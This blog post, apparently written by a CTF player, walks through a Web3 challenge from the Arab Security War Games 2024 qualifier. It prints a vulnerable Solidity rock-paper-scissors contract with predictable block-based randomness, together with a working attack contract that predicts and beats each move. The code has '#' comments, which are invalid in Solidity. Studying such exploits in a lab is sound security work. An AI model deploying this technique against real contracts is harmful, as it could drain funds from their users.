Published on

Arab Security Cyber War Games Qualifications 2024

Authors
  • avatar
    Name
    Amr Zaki
    Twitter

Arab Security War Games Qualifications

Hello there, back again with another great War Games, with bunch of cool challenges. This year was no different, I managed to solve 3 out of 4 web challenges and 1 out of 3 mobile challenges and most intrestingly, one Web3 challenge. This was the first time I encounter a blockchain challenge and it was a bit painful but very fun experience. Let's get started.


Challenge Code

The challenge was a Smart Contract and they provided us with the Solidity code logic, and an address to the contract on the chain.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EliteRockPaperScissors {
    enum Move {
        Rock,
        Paper,
        Scissors
    }
    address public owner;
    uint8 public consecutiveWins;

    constructor() {
        owner = msg.sender;
    }

    function play(Move playerMove) public returns (string memory) {
        Move contractMove = getRandomMove();
        string memory result;

        if (beats(playerMove, contractMove)) {
            consecutiveWins++;
            result = "You won this round!";
        } else if (playerMove == contractMove) {
            result = "It's a draw!";
        } else {
            consecutiveWins = 0;
            result = "You lost this round!";
        }

        if (consecutiveWins == 10) {
            result = "Congratulations! You have won 10 times consecutively!";
        } else if (consecutiveWins > 10) {
            result = "Wow! You have won more that 10 times consecutively, reseting to 0.";
            consecutiveWins = 0;
        }

        return result;
    }

    function getRandomMove() private view returns (Move) {
        uint256 randomValue = uint256(
            keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))
        ) % 3;
        return Move(randomValue);
    }

    function beats(Move move1, Move move2) private pure returns (bool) {
        return
            (move1 == Move.Rock && move2 == Move.Scissors) ||
            (move1 == Move.Paper && move2 == Move.Rock) ||
            (move1 == Move.Scissors && move2 == Move.Paper);
    }
}

Diving in

The contract was simple, it's a Rock Paper Scissors game, that generates a random move based on block.timestamp and block.number and we have to win 10 consecutive times to get the flag.

The challenge requested that MetaMask, which is a browser extension, is installed, but I didn't know how to interact with the contract. During the CTF, I did a lot of searching to understand how would I interact with this code and I found a great resource that I saved for later blockchain study.

I skimmed through that all of that channel videos and a thousand other tabs to understand what was I supposed to do first. I then found a website that I can use to deploy the contract to the blockchain and I can interact with it using the functions defined. The website is Remix IDE, the website requires that you have Eth on your account, but you can try with testnets.

You will start with 0.00 Eth but you can use Google's Eth faucet that will add 0.05 to your testnet account which is more than enough for testing purposes.

After setting the account and pasting the code on Remix, I played with the code for a bit to understand what is the random functionality and how is the choice generated.

Let's go through the line that is responsible for the random choice:

uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))) % 3;

  • The abi.encodePacked() takes 2 parameters, block.timestamp and block.number - 2, and concatenates them together.
  • keccak256() function hashes the concatenated value.
  • uint256() gets the numeric value of the hash bytes.
  • Lastly, the numeric value is divided by 3 and the remainder, 0, 1, or 2 is the the server's choice from the enum Move.

At first glance, the process seems secure, because the timestamp is unique for each second, and the block number is unique for each block. But this isn't the case. According to Solidity Docs, the following note says a lot about what we are trying to do.

image

Also this Stack Exchange explains why is it dangerous to use block.timestamp as a source of randomness.

So, gathering all of the information, the attack in simple words is like this:

  • We can implement the same logic which is used to find the Rock Paper Scissors choice in the original contract.
  • Write a new Attack contract which will perform the play() functions which has the random choice inside of it and sends the value to the original contract.
  • Since the entire computaion at both contracts happens in same transaction, the block.timestamp and block.number remains same the both contracts.
  • So, knowing the choice, we will run the script 10 times and our consecutive wins will be 10 and get the flag.

I created another contract on Remix and saved it as EliteRockPaperScissorsAttack with the following code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./EliteRockPaperScissors.sol";

contract EliteRockPaperScissorsAttack {

    enum Move {
        Rock,
        Paper,
        Scissors
    }

    EliteRockPaperScissors public victimRPS;
    uint8 public consecutiveWins;

    # Here I am defining the address of the original contract.
    constructor(address _victimRPS) {
        victimRPS = EliteRockPaperScissors(_victimRPS);
        consecutiveWins = EliteRockPaperScissorsAttack.consecutiveWins;
    }
    function getVariable() public view returns (uint256) {
        return block.timestamp;
    }
    function getRandomMove() public returns (Move) {
        uint256 randomValue = uint256(
            keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))
        ) % 3;
        # if the choice was Rock
        if(randomValue == 0) {
            victimRPS.play(EliteRockPaperScissors.Move.Paper);
        # if the choice was Paper
        } else if (randomValue == 1) {
            victimRPS.play(EliteRockPaperScissors.Move.Scissors);
        # if the choice was Scissors
        } else if (randomValue == 2 ) {
            victimRPS.play(EliteRockPaperScissors.Move.Rock);
        }
        return Move(randomValue);
    }
}

Running this script 10 times, consecutiveWins was 10, I submitted the solution and got the flag

image

That's it, hope you enjoyed the challenge like I did. If you have any questions don't hesitate to reach-out.